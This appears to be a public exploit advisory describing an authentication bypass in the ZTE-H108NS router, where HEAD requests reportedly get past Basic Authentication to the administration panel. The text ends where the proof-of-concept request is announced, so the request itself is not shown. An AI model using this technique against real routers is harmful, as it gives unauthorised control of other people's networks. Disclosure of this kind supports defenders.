# Exploit Title: Router ZTE-H108NS - Authentication Bypass
# Date: 19-11-2022
# Exploit Author: George Tsimpidas
# Vendor: https://www.zte.com.cn/global/
# Firmware: H108NSV1.0.7u_ZRD_GR2_A68
# CVE: N/A
# Tested on: Debian 5.18.5
Description :
When specific http methods are listed within a security constraint,
then only those
methods are protected. Router ZTE-H108NS defines the following http
methods: GET, POST, and HEAD. HEAD method seems to fall under a flawed
operation which allows the HEAD to be implemented correctly with every
Response Status Code.
Proof Of Concept :
Below request bypasses successfully the Basic Authentication, and
grants access to the Administration Panel of the Router.
